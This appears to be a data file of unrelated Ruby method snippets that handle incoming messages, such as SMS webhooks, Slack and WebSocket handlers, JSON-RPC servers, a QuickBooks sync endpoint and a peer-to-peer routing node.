"def incoming \n response.headers[\"Content-Type\"] = \"text/plain; charset=utf-8\"\n #Read params from the text message\n \n if (params[:uid] && params[:body])\n @userid = params[:uid]\n @body = params[:body] \n \n sms = Sms.new(:raw => @body, :login => @userid)\n \n sms.parse\n \n user = User.find_by_login(sms.login)\n \n if user.nil?\n render :text => \"User #{sms.login} couldn't be found, have you signed up at #{AZIMUTH_DOMAIN}?\" \n else\n hunt = user.hunt\n if hunt.nil?\n render :text => \"User #{sms.login} doesn't appear to have signed up for a hunt. Please sign up for one at #{AZIMUTH_DOMAIN}.\"\n else\n if hunt.aasm_current_state == :hunting\n discovery = Discovery.new(:treasure => user.current_treasure, :key => sms.key, :lat => sms.lat, :lng => sms.lng, :hunt => hunt, :user => user)\n hunt.attempt_open_treasure_chest(discovery, user)\n user.save!\n hunt.save!\n discovery.save!\n \n if discovery.success?\n render :text => \"\" # don't send extra texts since the hunt will do it for us...\n else\n render :text => \"What you texted didn't open the treasure chest :-(. Coords: #{sms.lat} #{sms.lng}. Key: #{sms.key}\"\n end\n else\n render :text => \"The hunt #{hunt.name} is currently in #{hunt.state.humanize} state. Please wait for the hounds to be released to get your first clue.\"\n end\n end\n end\n else\n render :text => \"\"\n end\n \n end",
"def receive_replies(connection); end",
"def receive\n # Process msg_descriptor\n Subscriber.execute_from_descriptor(msg_descriptor)\n head :no_content\n rescue InvalidSubscriberError\n # 404: Message delivery will be retried\n head :not_found\n rescue StandardError\n # 422: Message delivery will be retried\n head :unprocessable_entity\n end",
"def receive_message\n params[:incoming_number] = $1 if params[:incoming_number]=~/^1(\\d{10})$/\n params[:origin_number] = $1 if params[:origin_number]=~/^1(\\d{10})$/\n @group=Group.find_by_phone_number(params[:incoming_number])\n \n if @group\n sent_by_admin=@group.user.phone_number==params[:origin_number]\n @sending_student = @group.students.find_by_phone_number(params[:origin_number])\n @sending_person = sent_by_admin ? @group.user : @sending_student\n \n #handle the #removeme command. it's a hard-coded single test for now. if we implement more commands, we should probably generalize this\n if params[:message].match(/^\\s*#remove[\\s_]*me/) && @sending_student.present?\n @group.send_message(\"You will no longer receive messages from #{@group.title}. Sorry to see you go!\",nil,[@sending_student])\n @sending_student.update_attribute(:phone_number,nil)\n elsif @sending_person\n message = (sent_by_admin ? @group.user.display_name : @sending_student.name)+\": \"+params[:message]\n @group.send_message(message,@sending_person, sent_by_admin ? @group.students : [@group.user]) #if a student sent it, just send it to teacher. if teacher sent it, push to group\n end\n end\n \n render :text=>\"sent\", :status=>202\n #needs to return something API-like, yo\n end",
"def process_msg_from_monitor ws, ws_context, msg\n if !ws_context[:registered]\n ws.close\n return\n end\n if ws_context[:type] != 'monitor'\n return\n end\n if resp_id = msg[:resp_id]\n # response from monitor\n callback = @callbacks[resp_id]\n if !callback\n return\n end\n @callbacks.delete resp_id\n callback.call msg[:err], msg[:body]\n return\n end\n # request or notify from monitor\n @console_service.execute(msg[:module_id], :master_handler, msg[:body]) { |err, res|\n if is_request? msg\n if resp = compose_response(msg, err, res)\n ws.send ['monitor', resp].to_json\n end\n else\n # notify should not have a callback\n end\n }\n end",
"def handle_item(msg)\n return nil unless @options['outgoing_token'].include? msg[:token] # ensure messages are for us from slack\n return nil if msg[:user_name] == 'slackbot' # do not reply to self\n return nil unless msg[:text].is_a?(String) # skip empty messages\n\n ## loop things to look for and collect immediate responses\n ## rescue everything here so the bot keeps running even with a broken script\n responses = @regexes.map do |regex, proc|\n if mdata = msg[:text].strip.match(regex)\n begin\n Slackbotsy::Message.new(self, msg).instance_exec(mdata, &proc)\n rescue => err\n err\n end\n end\n end\n\n ## format any replies for http response\n if responses\n { text: responses.compact.join(\"\\n\") }.to_json\n end\n end",
"def createResouce(doc, msg_from)\n\n begin\n \n puts \"Creating\"\n \n path = \"\"\n params = {}\n headers = {}\n \n \n context, path = findContext(doc, path)\n \n # Adding the actual parameters according the context\n if context\n\n # if device context is not given -> creating new user\n if context == :userdevice \n params = parseUserData(doc, params)\n \n # if user-group -context and name for the group is given -> creating new group\n elsif context == :user_group\n params = {}\n \n # if user-group-member -context and name for member is given -> adding new member to group\n elsif context == :user_group_member\n params = {}\n \n # if device-context and name for the device is given -> creating new device\n elsif not doc.find_first('//xmpp2rest/user/device/files') and devicename\n params = parseDeviceData(doc, params)\n \n # If files element was given -> sending filelist\n elsif doc.find_first('//xmpp2rest/user/device/files')\n puts \"..files\"\n params, path = parseFileslist(doc, params, path)\n \n # Error\n else\n raise Exception.new(\"Context was not found!\")\n end\n \n \n \n # System-based context\n else\n puts \"System context:\"\n if doc.find_first('//xmpp2rest/metadata')\n puts \"..metadata\"\n metadata_type = (doc.find_first('//xmpp2rest/metadata').attributes.get_attribute(\"metadata_type\")) ? doc.find_first('//xmpp2rest/metadata').attributes.get_attribute(\"metadata_type\").value : nil\n puts metadata_type.to_s\n if not metadata_type\n raise Exception.new(\"Malformed path: metadata-element must contain metadata_type -attribute!\")\n else\n path += \"/metadatatype/#{metadata_type}\"\n end\n end\n end\n\n\n httpAndNotify(path, params, msg_from, :put)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n\n end",
"def process\n # abort if the SMS in question is from one of the incoming SMS numbers\n return if all_incoming_numbers.include?(incoming_msg.from)\n\n self.reply = handle_reply\n self.forward = handle_forward\n end",
"def receive_message(request, data)\n self.reset_timer do\n self.check_status\n\n messages = parse_json(data)\n process_messages(*messages) unless messages.empty?\n end\n rescue SockJS::InvalidJSON => error\n raise error if @response.nil? # WS\n @transport.response(request, error.status) do |response|\n response.write(error.message)\n end\n end",
"def do_recv()\n data = super()\n message = Hurricane::Message.new()\n message.type = data.data[0].name\n message.destination = data.data[1]\n message.tag = data.data[2]\n message.data = data.data[3]\n message\n end",
"def handle_request(message)\n msg = nil\n result = nil\n begin\n client_port, client_ip = Socket.unpack_sockaddr_in(get_peername)\n msg = RequestMessage.new(:message => message, :headers => @web_node.message_headers)\n headers = @web_node.message_headers.merge(msg.headers)\n result = Dispatcher.dispatch_request(msg.jr_method,\n :method_args => msg.jr_args,\n :headers => headers,\n :client_ip => client_ip,\n :client_port => client_port,\n :rjr_node => @web_node,\n :rjr_node_id => @web_node.node_id,\n :rjr_node_type => RJR_NODE_TYPE,\n :rjr_callback => WebNodeCallback.new())\n rescue JSON::ParserError => e\n result = Result.invalid_request\n end\n\n msg_id = msg.nil? ? nil : msg.msg_id\n response = ResponseMessage.new(:id => msg_id, :result => result, :headers => headers)\n\n resp = EventMachine::DelegatedHttpResponse.new(self)\n #resp.status = response.result.success ? 200 : 500\n resp.status = 200\n resp.content = response.to_s\n resp.content_type \"application/json\"\n resp.send_response\n end",
"def collect_msg(msgid)\n uri = \"cgi-bin/setstarmessage?t=ajax-setstarmessage&token=#{ @token }&lang=zh_CN\"\n params = {\n ajax: 1,\n f: 'json',\n lang: 'zh_CN',\n msgid: msgid,\n random: rand,\n token: @token,\n value: 1\n }\n headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/message'\\\n \"?t=message/list&token=#{ @token }&count=20&day=7\"\n }\n resource = RestClient::Resource.new(@home_url, headers: headers,\n cookies: @cookies)\n res = resource[uri].post params\n JSON.parse res.to_s\n end",
"def on_server_response(connection, message)\n end",
"def process_response(entry)\n entry.messagings.each do |messaging|\n # Set global variable Messenger Sender\n set_sender(messaging.sender_id)\n # Check if user is available to talk with bot or human.\n if bot_service_active?\n if messaging.callback.message?\n receive_message(messaging.callback)\n elsif messaging.callback.delivery?\n puts messaging.callback\n elsif messaging.callback.postback?\n receive_postback(messaging.callback)\n elsif messaging.callback.optin?\n puts messaging.callback\n elsif messaging.callback.account_linking?\n login_or_log_out(messaging.callback)\n end\n # puts Messenger::Client.get_user_profile(messaging.sender_id)\n else\n send_directly_message_without_boot(messaging)\n end\n end\n end",
"def receive_message\n params[:incoming_number] = $1 if params[:incoming_number]=~/^1(\\d{10})$/\n params[:origin_number] = $1 if params[:origin_number]=~/^1(\\d{10})$/\n @group=current_user.groups.find_by_phone_number(params[:incoming_number])\n \n if @group\n sent_by_admin=@group.user.phone_number==params[:origin_number]\n @sending_student = @group.students.find_by_phone_number(params[:origin_number])\n @sending_person = sent_by_admin ? @group.user : @sending_student\n \n if @sending_person\n message = (sent_by_admin ? @group.user.display_name : @sending_student.name)+\": \"+params[:message]\n @group.send_message(message,@sending_person, sent_by_admin ? @group.students : [@group.user]) #if a student sent it, just send it to teacher. if teacher sent it, push to group\n end\n end\n \n render :text=>\"sent\", :status=>202\n #needs to return something API-like, yo\n end",
"def receive_message(message)\n end",
"def handle_messages!\n self.logger.debug { \"Starting message handler.\" }\n \n loop do\n message = nil\n\n # reads data\n self.logger.debug { \"Waiting for messages.\" }\n message = self.protocol.wait_interaction!\n \n # if nil data arrived, it means termination\n if message.nil?\n break\n end\n \n self.logger.debug { \"Message of type '#{message.type}' received.\" }\n\n # calls processing method according to incoming message\n case message.type.to_sym\n when :order\n self.handle_order(message)\n end\n \n end\n \n self.logger.debug { \"Message handler terminated.\" }\n end",
"def receive_data(data)\n # a large json-rpc message may be split over multiple packets\n # (invocations of receive_data)\n # and multiple messages may be concatinated into one packet\n @data += data\n while extracted = JSONParser.extract_json_from(@data)\n msg, @data = *extracted\n @rjr_node.send(:handle_message, msg, self) # XXX private method\n end\n end",
"def receive_message (is_client, pseudo_user_ids, received_msgtype)\n logger.debug \"new mail: #{self.to_json}\"\n\n # find password in mix encrypted message. mix encryption. rsa encrypted random password in key and message encrypted with this random password\n server = Server.find_by_new_did(self.from_did)\n logger.debug2 \"received mix encrypted message\"\n private_key = OpenSSL::PKey::RSA.new SystemParameter.private_key\n password_rsa_enc = Base64.decode64(self.key)\n password = private_key.private_decrypt(password_rsa_enc, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)\n logger.secret2 \"password = #{password}\"\n\n # decrypt message\n message_json_enc_base64 = self.message\n message_json_enc = Base64.decode64(message_json_enc_base64)\n message_json = message_json_enc.decrypt(:symmetric, :password => password)\n\n logger.secret2 \"message_json = #{message_json}\"\n message = JSON.parse(message_json)\n\n if message['msgtype'] == 'users'\n return \"Cannot receive users message. Server secret was not found. Server secret should have been received in login request\" if !server.secret\n error = server.receive_compare_users_message(message['users'], is_client, pseudo_user_ids, received_msgtype) # false: server side of communication\n return error ? error : nil\n end\n\n if message['msgtype'] == 'online'\n error = server.receive_online_users_message(message['users'], is_client, received_msgtype) # false: server side of communication\n return error ? error : nil\n end\n\n if message['msgtype'] == 'sha256'\n error = server.receive_sha256_changed_message(message['seq'], message['users'])\n return error ? error : nil\n end\n\n if message['msgtype'] == 'pubkeys'\n error = server.receive_public_keys_message(message['users'], is_client, received_msgtype) # false: server side of communication\n return error ? error : nil\n end\n\n if message['msgtype'] == 'client'\n error = server.receive_client_messages(message['messages'], is_client, received_msgtype) # false: server side of communication\n return error ? error : nil\n end\n\n if message['msgtype'] == 'verify_gifts'\n error, self.keep_message = server.receive_verify_gifts_message(message)\n return error ? error : nil\n end\n\n if message['msgtype'] == 'verify_comments'\n error, self.keep_message = server.receive_verify_comments_msg(message)\n return error ? error : nil\n end\n\n logger.error2 \"mstype #{message[\"msgtype\"]} not implemented\"\n\n return nil\n\n end",
"def receiving(data); end",
"def receiving(data); end",
"def op_receive_response_xml(params)\n return -1 unless valid?\n\n # only process when in the 'Processing' state\n unless @ticket.state == 'Processing'\n log \"Ticket state #{@ticket.state} not valid for processing responses\"\n @ticket.request_error! @last_log_message\n return -1\n end\n\n responseXML = params[:response]\n log \"Received response XML from QuickBooks\"\n\n # handle a connection error\n unless params[:hresult].blank? and params[:message].blank?\n log \"Connection error with QuickBooks: #{params[:hresult]} : #{params[:message]}\"\n\n @ticket.request_error!(@last_log_message, connection_error_hresult: params[:hresult], connection_error_message: params[:message])\n\n # also update the request if it is able to be found\n request = find_outstanding_request(responseXML)\n request.update!(response_qbxml: responseXML, state: 'Error') if request\n\n return -1\n end\n\n # find the corresponding request\n request = find_outstanding_request(responseXML)\n\n unless request\n log \"Received response back from QuickBooks but it did not correspond to any outstanding ticket request\"\n @ticket.request_error! @last_log_message\n return -1\n end\n\n log \"Found corresponding request [#{request.state}]\"\n\n # safety check. we should always get a response back for the current request\n unless request == @ticket.qb_request\n log \"Received response from QuickBooks but it references a request other than the current request\"\n @ticket.request_error! @last_log_message\n return -1\n end\n\n # process the response XML now\n unless request.consume_response_xml(responseXML)\n # this request for some reason did not succeeed. Update the request and the ticket\n log \"Request [#{request.state}] could not process the QuickBooks response: #{request.error}\"\n request.update!(response_qbxml: responseXML, state: 'Error')\n @ticket.error! @last_log_message\n return -1\n end\n\n request.update!(response_qbxml: responseXML) # This was changed for effective_qb_sync\n\n # the request has processed the response XML. if it does not have any more work to do, then detach it\n\n if request.has_more_work?\n log \"Request [#{request.state}] has more work to do on the next request\"\n else\n # detach the current request\n @ticket.update!(qb_request: nil)\n log \"Request [#{request.state}] has completed its work\"\n end\n\n work_done = @ticket.qb_requests.size\n work_left = how_much_more_work\n work_left = work_left + 1 if @ticket.qb_request # if there is still a current request we need to add that to the work_left\n\n work_left == 0 ? 100 : (work_done * 100 / (work_done + work_left))\n end",
"def recv(*rest) end",
"def on_incoming_message(msg)\n type = msg.operation\n debug \"(#{id}) Deliver message '#{type}': #{msg.inspect}\"\n htypes = [type, :message]\n if type == :inform\n # TODO keep converting itype is painful, need to solve this.\n if (it = msg.itype(:ruby)) # format itype as lower case string\n case it\n when \"creation_ok\"\n htypes << :create_succeeded\n when 'status'\n htypes << :inform_status\n end\n\n htypes << it.to_sym\n end\n end\n\n debug \"(#{id}) Message type '#{htypes.inspect}' (#{msg.class}:#{msg.cid})\"\n hs = htypes.map { |ht| (@handlers[ht] || {}).values }.compact.flatten\n debug \"(#{id}) Distributing message to '#{hs.inspect}'\"\n hs.each do |block|\n block.call msg\n end\n if cbk = @context2cbk[msg.cid.to_s]\n debug \"(#{id}) Distributing message to '#{cbk.inspect}'\"\n cbk[:last_used] = Time.now\n cbk[:block].call(msg)\n end\n end",
"def process_messages\n\t\t\tloop do\n\t\t\t\tchan, message = @redis_listener.blpop(\"#{PREFIX}.network:#{@network}.messages\", 0)\n\t\t\t\t@log.debug(\"A client sent the message : #{message}\")\n\t\t\t\tmsgid, command, args = parse(message)\n\t\t\t\tunless command\n\t\t\t\t\t@log.warn(\"A client sent an invalid message.\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif msgid && @failed_cmds.include?(msgid) # Every daemon tried to contact the multi (blpop act as first waiting, first served)\n\t\t\t\t\tanswer(msgid, false, \"No daemon could contact the multiplexer\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tans, info = case command\n\t\t\t\t\twhen \"add_sensor\"\n\t\t\t\t\t\tregister_device :sensor, args\n\t\t\t\t\twhen \"add_actuator\"\n\t\t\t\t\t\tregister_device :actuator, args\n\t\t\t\t\twhen \"delete_sensor\"\n\t\t\t\t\t\tunregister_device :sensor, args\n\t\t\t\t\twhen \"delete_actuator\"\n\t\t\t\t\t\tunregister_device :actuator, args\n\t\t\t\t\twhen \"take\"\n\t\t\t\t\t\ttake_callback args\n\t\t\t\t\twhen \"actuator_state\"\n\t\t\t\t\t\tactuator_state_callback args\n\t\t\t\t\telse\n\t\t\t\t\t\t@log.warn(\"A client sent an unknown command : \\\"#{command}\\\"\")\n\t\t\t\t\t\t[false, \"Unknown command \\\"#{command}\\\"\"]\n\t\t\t\tend\n\t\t\t\tcase ans\n\t\t\t\t\twhen true # Success\n\t\t\t\t\t\tanswer(msgid, true)\n\t\t\t\t\twhen false # Failure\n\t\t\t\t\t\tanswer(msgid, false, info)\n\t\t\t\t\telse # Timeout error, transmit to another daemon\n\t\t\t\t\t\tif not msgid\t\t\t # Generate an id only for daemons\n\t\t\t\t\t\t\tmsgid = rand.hash.abs\n\t\t\t\t\t\t\tmessage = \"#{msgid}:#{message}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@failed_cmds.push(msgid).unshift\n\t\t\t\t\t\t#answer(msgid, false, \"wait\") # TODO utile ?\n\t\t\t\t\t\t@redis_listener.lpush(\"#{PREFIX}.network:#@network.messages\", message) #TODO generate with path?\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def receive_sms\n @view = \"sms\"\n @body = params[\"Body\"]\n @phone_number = params[\"From\"]\n set_user_create_message_parse_and_point\n end",
"def handle_message(message)\n if @response_wait_list.waiting_for?(message)\n @response_wait_list.received(message)\n else\n @listener.receive_message(message)\n end\n end",
"def read_all_messages\n post(\"/api/read_all_messages\")\n end",
"def receive(request); end",
"def process_message_response\n # Is this email confirming receipt of a previous message? \n msg_id = find_message_id_tag(:subject=>@subject, :body=>@body)\n#puts \"**** body=#{@body}, msg_id=#{msg_id}\"\n if msg_id \n # Does the \"confirmed message\" id actually match a message?\n message = Message.find_by_id(msg_id)\n if message\n msg_tag = message_id_tag(:id => msg_id, :action => :confirm_tag) # e.g. !2104\n search_target = Regexp.new('[\\'\\s\\(\\[]*' + \"#{Regexp.escape(msg_tag)}\" + '[\\'\\s\\.,\\)\\]]*')\n # The main reason to strip out the tag (like !2104) from the message is that it may be the\n # first part of the response, if there is one; e.g. \"!2104 Kafanchan\" replying to a message\n # requesting location. \n user_reply = first_nonblank_line(@body)\n#puts \"**** user_reply='#{user_reply}'\"\n user_reply = user_reply.sub(search_target, ' ').strip if user_reply\n # Mark all members with this email address as having responded to this message\n @possible_senders.each do |a_member|\n message.process_response(:member => a_member, :text => user_reply, :mode => 'email')\n end\n else\n msg_tag = message_id_tag(:id => msg_id, :action => :create, :location => :body)\n Notifier.send_generic(@from_address, I18n.t('error_msg.invalid_confirmation')).deliver\n end\n end\n end",
"def receives_messages\n Messenger.resolve(@@default_messenger).add_message_handler do |message|\n new.received(message)\n end\n end",
"def listen_for_messages\n @queue.subscribe do |_delivery_info, _metad5ata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
"def deliver\n xml = Clockwork::XML::SMS.build_multiple( self.messages )\n http_response = Clockwork::HTTP.post( Clockwork::API::SMS_URL, xml, @use_ssl )\n responses = Clockwork::XML::SMS.parse_multiple( self.messages, http_response )\n end",
"def handle_message(data)\n if @encoding == :etf\n handle_etf_message(data)\n else\n handle_json_message(data)\n end\n end",
"def receive\n begin\n message = save_message\n rescue => err\n render :text => err.message, :status => 400\n return\n end\n \n begin\n message.process! params\n rescue => err\n message.reply = err.message\n ensure\n if (message.reply != \"Invalid command\")\n collection_id = get_collection_id(params[:body])\n if collection_id and collection_id >0\n message[:collection_id] = collection_id\n end\n end\n message.save\n render :text => message.reply, :content_type => \"text/plain\"\n end\n end",
"def inbox\n @messages = current_user.received_messages\n respond_with @messages\n end",
"def onmessage(&block)\n super( &proc do |msg|\n msg = JSON.parse(msg)\n Hammer.logger.debug \"Websocket recieved: #{msg}\" if config[:logger][:show_traffic]\n block.call msg\n end)\n end",
"def new_message\n Rails.logger.info('new_message')\n\n begin\n sender = nil\n\n if (params[:sender_id])\n sender = User.find_by_id(params[:sender_id])\n receiver = User.find_by_id(params[:receiver_id])\n\n if (!sender.nil?)\n message = nil\n\n Rails.logger.info(\"receiver_id: #{params[:receiver_id]}\")\n Rails.logger.info(\"sender_id: #{params[:sender_id]}\")\n\n message = Message.new(:status => \"unread\", :receiver_id => params[:receiver_id], :sender_id => params[:sender_id], :subject => params[:subject], :body => params[:body])\n message.save\n\n Rails.logger.info(\"notification start\")\n\n Rails.logger.info(\"#{sender.username}\")\n\n notification = SwitcharooNotification.new(:content => \"#{sender.username} just sent you a message.\", :notification_type => NOTIFICATIONTYPE_MESSAGE_RECEIVED, :user_id => params[:receiver_id])\n\n notification.save\n\n notification.send_to_user(receiver)\n\n Rails.logger.info(\"notification end\")\n\n render json: { error_code: ERROR_NOERROR, status: \"ok\", message: message, sender: sender }\n return\n else\n render json: {error_code: ERROR_NOTFOUND, status: \"Can't find sender.\"}\n return\n end\n else\n render json: {error_code: ERROR_MISSINGARGUMENTS, status: \"Missing arguments\"}\n end\n\n render json: {\n error_code: ERROR_FAILED, \n status: \"Unknown\"\n }\n\n rescue StandardError => e\n Log.logError(\"new_message failed: #{e.to_s}\")\n Rails.logger.error e.backtrace.join(\"\\n\") unless Rails.env.production?\n render json: {error_code: ERROR_FAILED, status: e.to_s }\n end\n end",
"def process_message(msg)\n if msg =~ /^<<</\n handle_commands(msg)\n elsif msg =~ /^@\\S+/\n handle_pm(msg)\n elsif msg =~ /^\\\\/\n @server.forward(msg, self)\n else\n handle_chat_msg(msg)\n end\n end",
"def process_message(message)\n # TODO: May want to ignore some messages (say, if the community string is wrong)\n message.respond(dispatch(message))\n end",
"def on_message_data_receiving_event(ctx) end",
"def process_message(message)\n end",
"def get_messages\n @connection.select('INBOX')\n @connection.search(['ALL']).each do |message_id|\n msg = @connection.fetch(message_id,'RFC822')[0].attr['RFC822']\n begin\n process_message(msg)\n rescue\n handle_bogus_message(msg)\n end\n # Mark message as deleted \n @connection.store(message_id, \"+FLAGS\", [:Deleted])\n end\n end",
"def respond(received)\n case received['type']\n\n when 'JOINING_NETWORK'\n puts('JOINING_NETWORK')\n\n # Reply with ROUTING_INFO\n @socket.send @msg.ROUTING_INFO(@id, received['node_id'], @port , @rt.getRoutingTableToSend(@port)), 0, '127.0.0.1', received['ip_address']\n\n # Put joining node in routing table\n @rt.updateRoutingTable(received['node_id'], received['ip_address'])\n\n # If there is a node closer to target in routing table forward JOINING_NETWORK_RELAY\n if @rt.routing_table.length > 0\n closest_node_ip = @rt.findCloserNode(received['target_id'], received['node_id'])\n if closest_node_ip != nil\n @socket.send @msg.JOINING_NETWORK_RELAY(received['node_id'], received['target_id'], @id), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'JOINING_NETWORK_RELAY'\n puts('JOINING_NETWORK_RELAY')\n\n # If not target, forward JOINING_NETWORK_RELAY to closer node\n if received['node_id'] != @id\n closest_node_ip = @rt.findCloserNode(received['target_id'], received['node_id'])\n if !closest_node_ip.nil?\n @socket.send @msg.JOINING_NETWORK_RELAY(received['node_id'], received['target_id'], received['gateway_id']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n # Send ROUTING_INFO to gateway node\n closest_node_ip = @rt.findCloserNode(received['gateway_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.ROUTING_INFO(received['gateway_id'], received['node_id'], @port, @rt.getRoutingTableToSend(@port)), 0, '127.0.0.1', closest_node_ip\n end\n\n when 'ROUTING_INFO'\n puts('ROUTING_INFO')\n\n # Store received routing info\n received['route_table'].each do |x|\n @rt.updateRoutingTable(x['node_id'], x['ip_address'])\n end\n\n # If this is the gateway node forward ROUTING_INFO to joining node\n if received['gateway_id'] == @id\n joining_ip = @rt.routing_table.detect{|x| x[:node_id] == received['node_id']}[:ip_address]\n @socket.send @msg.ROUTING_INFO(@id, received['node_id'], @port, received['route_table']), 0, '127.0.0.1', joining_ip\n end\n\n # If message not intended for this node send it closer to target\n if received['node_id'] != @id\n closest_node_ip = @rt.findCloserNode(received['gateway_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.ROUTING_INFO(received['gateway_id'], received['node_id'], @port, received['route_table']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'LEAVING_NETWORK'\n puts('LEAVING_NETWORK')\n @rt.deleteRoutingTableEntry(received['node_id']) # Delete leaving node from routing table\n\n when 'INDEX'\n puts('INDEX')\n\n # If message is intended for this node\n if received['target_id'] == @id\n\n # Store new index\n @index.addIndex(received['keyword'], received['link'])\n\n # Respond with ACK_INDEX\n closest_node_ip = @rt.findCloserNode(received['sender_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.ACK_INDEX(received['sender_id'], received['keyword']), 0, '127.0.0.1', closest_node_ip\n end\n\n # If message not for this node, send closer to target\n else\n closest_node_ip = @rt.findCloserNode(received['target_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.INDEX(received['target_id'], received['sender_id'], received['keyword'], received['link']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'SEARCH'\n puts('SEARCH')\n\n # If message is intended for this node ger results and send SEARCH_RESPONSE\n if received['node_id'] == @id\n closest_node_ip = @rt.findCloserNode(received['sender_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.SEARCH_RESPONSE(received['word'], received['sender_id'], @id, @index.getKeywordIndexes(received['word'].to_s)), 0, '127.0.0.1', closest_node_ip\n end\n\n # If message not for this node, send closer to target\n else\n closest_node_ip = @rt.findCloserNode(received['node_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.SEARCH(received['word'], received['node_id'], received['sender_id']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'SEARCH_RESPONSE'\n puts('SEARCH_RESPONSE')\n\n # If message is intended for this node\n if received['node_id'] == @id\n\n received['response'].each do |x|\n result = SearchResult.new(received['word'], x['url'], x['rank'])\n ap result\n end\n\n # If message is not intended for this node, send closer to target\n else\n closest_node_ip = @rt.findCloserNode(received['node_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.SEARCH_RESPONSE(received['word'], received['node_id'], received['sender_id'], received['response']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n when 'PING'\n puts('PING')\n\n # Respond with ACK\n @socket.send @msg.ACK(received['target_id'], @port), 0, '127.0.0.1', received['ip_address']\n\n # Send PING to next node if not final target\n if received['target_id'] != @id\n\n # Send closer to target\n closest_node_ip = @rt.findCloserNode(received['target_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.PING(received['target_id'], received['sender_id'], @port), 0, '127.0.0.1', closest_node_ip\n @pinged_ip = closest_node_ip\n\n # Wait up to 10s for ACK\n time = Time.now\n while Time.now - time < 10 && !@ack_received\n end\n\n # If no ACK received delete node from routing table\n if !@ack_received\n @rt.deleteRoutingTableEntry(@rt.routing_table.detect{|x| x[:ip_address == closest_node_ip]}[:node_id]) # Delete from routing table\n else\n @ack_received = false # If ACK received reset value to false\n end\n end\n end\n\n when 'ACK'\n puts('ACK')\n\n if received['ip_address'] == @pinged_ip # If ACK is from expected node\n @ack_received = true # Indicate that ACK has been received\n end\n\n when 'ACK_INDEX'\n puts('ACK_INDEX')\n\n # If message is intended for this node\n if received['node_id'] == @id\n @ack_index_received = true # Indicate that ACK_INDEX has been received\n\n # If message not intended for this node, send closer to target\n else\n closest_node_ip = @rt.findCloserNode(received['node_id'], nil)\n if !closest_node_ip.nil?\n @socket.send @msg.ACK_INDEX(received['node_id'], received['keyword']), 0, '127.0.0.1', closest_node_ip\n end\n end\n\n end\n end",
"def received\n @messages = Message.sent_to current_user\n end",
"def get_messages()\n @@log.debug(\"get_messages starts\")\n subscribe\n StompHelper::pause(\"After subscribe\") if $DEBUG\n for msgnum in (0..@max_msgs-1) do\n message = @conn.receive\n @@log.debug(\"Received: #{message}\")\n if @ack == \"client\"\n @@log.debug(\"in receive, sending ACK, headers: #{message.headers.inspect}\")\n message_id = message.headers[\"message-id\"]\n @@log.debug(\"in receive, sending ACK, message-id: #{message_id}\")\n @conn.ack(message_id) # ACK this message\n end\n StompHelper::pause(\"After first receive\") if (msgnum == 0 and $DEBUG)\n #\n received = message\n end\n end",
"def get_messages\r\n init_message_handler\r\n begin\r\n while (line = @s.gets(\"\\n\"))\r\n next if line.nil?\r\n line = line.chomp.gsub /\\n|\\r/, ''\r\n next if line == ''\r\n msg_map = JSON.parse(line)\r\n @message_handler_service.process msg_map\r\n end\r\n rescue Exception => e\r\n puts 'get_messages raise exception:'\r\n puts e.backtrace.inspect\r\n end\r\n end",
"def process message\n op = message[\"opcode\"]\n data = message[\"data\"]\n\n case op\n when PUBLISH\n emit(\"message\", data)\n when SUBSCRIBE_GRANTED\n emit(\"subscribe\")\n when SUBSCRIBE_DENIED\n emit(\"subscribe_denied\")\n when PUBLISH_DENIED\n emit(\"publish_denied\")\n when PUBLISH_GRANTED\n emit(\"publish_granted\")\n when UNSUBSCRIBE_COMPLETE\n emit(\"unsubscribe\")\n @callbacks.clear\n when AUTHORIZE_DENIED\n emit(\"authorize_denied\")\n when AUTHORIZE_COMPLETE\n emit(\"authorize_complete\")\n end\n\n end",
"def receive(sms)\n sms = connection.parse(sms)\n new.receive(sms)\n end",
"def process_msg_from_client ws, ws_context, msg\n if !ws_context[:registered]\n ws.close\n return\n end\n if ws_context[:type] != 'client'\n return\n end\n if msg[:command]\n # a command from client\n @console_service.command(msg[:command], msg[:module_id], msg[:body]) { |err, res|\n if is_request? msg\n if resp = compose_response(msg, err, res)\n ws.send ['client', resp].to_json\n end\n else\n # notify should not have a callback\n end\n }\n else\n # a request or a notify from client\n @console_service.execute(msg[:module_id], :client_handler, msg[:body]) { |err, res|\n if is_request? msg\n if resp = compose_response(msg, err, res)\n ws.send ['client', resp].to_json\n end\n else\n # notify should not have a callback\n end\n }\n end\n end",
"def subscribe &handler\n input = \"\"\n response = 0\n #wait for message from pull socket\n while true\n response = @pull.recv_string(input)\n if !error?(response)\n input.chomp!\n\n #Message received\n yield input if block_given?\n Communicator::get_logger.info \"Message received: #{input}\"\n end\n end\n end",
